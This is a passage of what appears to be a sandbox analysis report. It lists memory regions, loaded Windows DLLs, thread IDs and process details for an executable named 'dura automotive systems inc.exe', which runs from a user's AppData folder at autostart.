	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 1755
	        start_va = 0x7fefdad0000
	          end_va = 0x7fefdc36fff
	     entry_point = 0x7fefdad0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1756
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1757
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd86fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1758
	        start_va = 0x7fefdd90000
	          end_va = 0x7fefdd97fff
	     entry_point = 0x7fefdd90000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1759
	        start_va = 0x7fefdda0000
	          end_va = 0x7fefde76fff
	     entry_point = 0x7fefdda0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1760
	        start_va = 0x7fefde80000
	          end_va = 0x7fefdf1efff
	     entry_point = 0x7fefde80000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1761
	        start_va = 0x7fefdf20000
	          end_va = 0x7fefdf90fff
	     entry_point = 0x7fefdf20000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1762
	        start_va = 0x7fefe040000
	          end_va = 0x7fefe242fff
	     entry_point = 0x7fefe040000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1763
	        start_va = 0x7fefe250000
	          end_va = 0x7fefe426fff
	     entry_point = 0x7fefe250000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 1764
	        start_va = 0x7fefe4b0000
	          end_va = 0x7fefe58afff
	     entry_point = 0x7fefe4b0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1765
	        start_va = 0x7fefe920000
	          end_va = 0x7fefe9b8fff
	     entry_point = 0x7fefe920000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1766
	        start_va = 0x7fefe9c0000
	          end_va = 0x7feff747fff
	     entry_point = 0x7fefe9c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 1767
	        start_va = 0x7feff750000
	          end_va = 0x7feff76efff
	     entry_point = 0x7feff750000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1768
	        start_va = 0x7feff770000
	          end_va = 0x7feff838fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1769
	        start_va = 0x7feffa40000
	          end_va = 0x7feffb6cfff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1770
	        start_va = 0x7feffb70000
	          end_va = 0x7feffc78fff
	     entry_point = 0x7feffb70000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1771
	        start_va = 0x7feffc80000
	          end_va = 0x7feffcccfff
	     entry_point = 0x7feffc80000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1772
	        start_va = 0x7feffcd0000
	          end_va = 0x7feffcfdfff
	     entry_point = 0x7feffcd0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1773
	        start_va = 0x7feffd00000
	          end_va = 0x7feffd0dfff
	     entry_point = 0x7feffd00000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1774
	        start_va = 0x7feffd20000
	          end_va = 0x7feffd20fff
	     entry_point = 0x7feffd20000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1775
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 1776
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 1777
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 1778
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 1779
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 1780
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 1781
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 1782
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 1783
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 1784
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 1785
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 1786
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 1787
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 1788
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1789
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1790
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1791
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 1792
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 1793
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 1794
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1795
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""


Thread:
	id = 118
	os_tid = 0xbd8


Thread:
	id = 119
	os_tid = 0xbb4


Thread:
	id = 120
	os_tid = 0x318


Thread:
	id = 121
	os_tid = 0x718


Thread:
	id = 122
	os_tid = 0x598


Thread:
	id = 123
	os_tid = 0x3f4


Thread:
	id = 124
	os_tid = 0x3dc


Thread:
	id = 125
	os_tid = 0x3cc


Thread:
	id = 126
	os_tid = 0x3c8


Thread:
	id = 127
	os_tid = 0x3ac


Thread:
	id = 128
	os_tid = 0x3a0


Thread:
	id = 129
	os_tid = 0x394


Thread:
	id = 130
	os_tid = 0x384


Thread:
	id = 131
	os_tid = 0x354


Thread:
	id = 132
	os_tid = 0x350


Thread:
	id = 133
	os_tid = 0x34c


Thread:
	id = 134
	os_tid = 0x348


Thread:
	id = 135
	os_tid = 0x308


Thread:
	id = 136
	os_tid = 0x304


Thread:
	id = 139
	os_tid = 0x904


Process:
	id = "8"
	image_name = "dura automotive systems inc.exe"
	filename = "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe"
	page_root = "0x16943000"
	os_pid = "0x530"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe\" "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XABNCPUWKW\\kFT6uTQW"
	os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfb6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1796
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1797
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1798
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1799
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1800
	        start_va = 0xb0000
	          end_va = 0xeffff
	     entry_point = 0xb0000
	     region_type = mapped_file
	            name = "dura automotive systems inc.exe"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")

Region:
	              id = 1801
	        start_va = 0x140000
	          end_va = 0x17ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 1802
	        start_va = 0x240000
	          end_va = 0x33ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000240000"
	        filename = ""

Region:
	              id = 1803
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1804
	        start_va = 0x77230000
	          end_va = 0x773affff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 1805
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 1806
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 1807
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 1808
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 1809
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1810
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1811
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 1933
	        start_va = 0x3e0000
	          end_va = 0x45ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003e0000"
	        filename = ""

Region:
	              id = 1934
	        start_va = 0x73960000
	          end_va = 0x73967fff
	     entry_point = 0x73960000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 1935
	        start_va = 0x73970000
	          end_va = 0x739cbfff
	     entry_point = 0x73970000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 1936
	        start_va = 0x739d0000
	          end_va = 0x73a0efff
	     entry_point = 0x739d0000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 1937
	        start_va = 0x500000
	          end_va = 0x5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000500000"
	        filename = ""

Region:
	              id = 1938
	        start_va = 0x73910000
	          end_va = 0x73959fff
	     entry_point = 0x73910000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 1939
	        start_va = 0x75960000
	          end_va = 0x75a6ffff
	     entry_point = 0x75960000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 1940
	        start_va = 0x768a0000
	          end_va = 0x768e5fff
	     entry_point = 0x768a0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 1941
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000076e30000"
	        filename = ""

Region:
	              id = 1942
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000076f30000"
	        filename = ""

Region:
	              id = 1943
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1944
	        start_va = 0x180000
	          end_va = 0x1e6fff
	     entry_point = 0x180000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1945
	        start_va = 0x6c0000
	          end_va = 0x6cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000006c0000"
	        filename = ""

Region:
	              id = 1946
	        start_va = 0x7b0000
	          end_va = 0x7effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007b0000"
	        filename = ""

Region:
	              id = 1947
	        start_va = 0x74d80000
	          end_va = 0x74d8bfff
	     entry_point = 0x74d80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 1948
	        start_va = 0x74d90000
	          end_va = 0x74deffff
	     entry_point = 0x74d90000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 1949
	        start_va = 0x74ec0000
	          end_va = 0x74faffff
	     entry_point = 0x74ec0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 1950
	        start_va = 0x755e0000
	          end_va = 0x7568bfff
	     entry_point = 0x755e0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 1951
	        start_va = 0x75690000
	          end_va = 0x7572ffff
	     entry_point = 0x75690000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 1952
	        start_va = 0x767f0000
	          end_va = 0x76808fff
	     entry_point = 0x767f0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 1953
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1954
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1955
	        start_va = 0x990000
	          end_va = 0x99ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000990000"
	        filename = ""

Region:
	              id = 1956
	        start_va = 0x736f0000
	          end_va = 0x73769fff
	     entry_point = 0x736f0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 1957
	        start_va = 0xb50000
	          end_va = 0xb8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000b50000"
	        filename = ""

Region:
	              id = 1958
	        start_va = 0x75790000
	          end_va = 0x7582cfff
	     entry_point = 0x75790000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 1959
	        start_va = 0x75830000
	          end_va = 0x75839fff
	     entry_point = 0x75830000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 1960
	        start_va = 0x758d0000
	          end_va = 0x7595ffff
	     entry_point = 0x758d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 1961
	        start_va = 0x76ad0000
	          end_va = 0x76bcffff
	     entry_point = 0x76ad0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 1962
	        start_va = 0x76bd0000
	          end_va = 0x76c26fff
	     entry_point = 0x76bd0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 1963
	        start_va = 0x7f0000
	          end_va = 0x977fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007f0000"
	        filename = ""

Region:
	              id = 1964
	        start_va = 0x74df0000
	          end_va = 0x74ebbfff
	     entry_point = 0x74df0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 1965
	        start_va = 0x75730000
	          end_va = 0x7578ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 1966
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 1967
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1968
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1969
	        start_va = 0x9a0000
	          end_va = 0xb20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000009a0000"
	        filename = ""

Region:
	              id = 1970
	        start_va = 0xb90000
	          end_va = 0x1f8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000b90000"
	        filename = ""

Region:
	              id = 1971
	        start_va = 0x74670000
	          end_va = 0x7470afff
	     entry_point = 0x74670000
	     region_type = mapped_file
	            name = "msvcr80.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")

Region:
	              id = 1972
	        start_va = 0x74740000
	          end_va = 0x74ceafff
	     entry_point = 0x74740000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 1973
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 1974
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000080000"
	        filename = ""

Region:
	              id = 1975
	        start_va = 0x90000
	          end_va = 0x9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 1976
	        start_va = 0xa0000
	          end_va = 0xaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 1977
	        start_va = 0xf0000
	          end_va = 0xfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1978
	        start_va = 0x100000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 1979
	        start_va = 0x110000
	          end_va = 0x11ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 1980
	        start_va = 0x120000
	          end_va = 0x12ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 1981
	        start_va = 0x680000
	          end_va = 0x6bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000680000"
	        filename = ""

Region:
	              id = 1982
	        start_va = 0x2070000
	          end_va = 0x207ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002070000"
	        filename = ""

Region:
	              id = 1983
	        start_va = 0x20e0000
	          end_va = 0x21dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020e0000"
	        filename = ""

Region:
	              id = 1984
	        start_va = 0x75b00000
	          end_va = 0x76749fff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 1985
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 1986
	        start_va = 0x130000
	          end_va = 0x130fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000130000"
	        filename = ""

Region:
	              id = 1987
	        start_va = 0x75180000
	          end_va = 0x752dbfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 1988
	        start_va = 0x21e0000
	          end_va = 0x24aefff
	     entry_point = 0x21e0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1989
	        start_va = 0x74d20000
	          end_va = 0x74d2afff
	     entry_point = 0x74d20000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 1990
	        start_va = 0x340000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 1991
	        start_va = 0x610000
	          end_va = 0x64ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000610000"
	        filename = ""

Region:
	              id = 1992
	        start_va = 0x24b0000
	          end_va = 0x44affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024b0000"
	        filename = ""

Region:
	              id = 1993
	        start_va = 0x45b0000
	          end_va = 0x46affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045b0000"
	        filename = ""

Region:
	              id = 1994
	        start_va = 0x72be0000
	          end_va = 0x736d7fff
	     entry_point = 0x72be0000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")

Region:
	              id = 1995
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 1996
	        start_va = 0x745f0000
	          end_va = 0x7466ffff
	     entry_point = 0x745f0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 1997
	        start_va = 0x46b0000
	          end_va = 0x47bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046b0000"
	        filename = ""

Region:
	              id = 1998
	        start_va = 0x6d0000
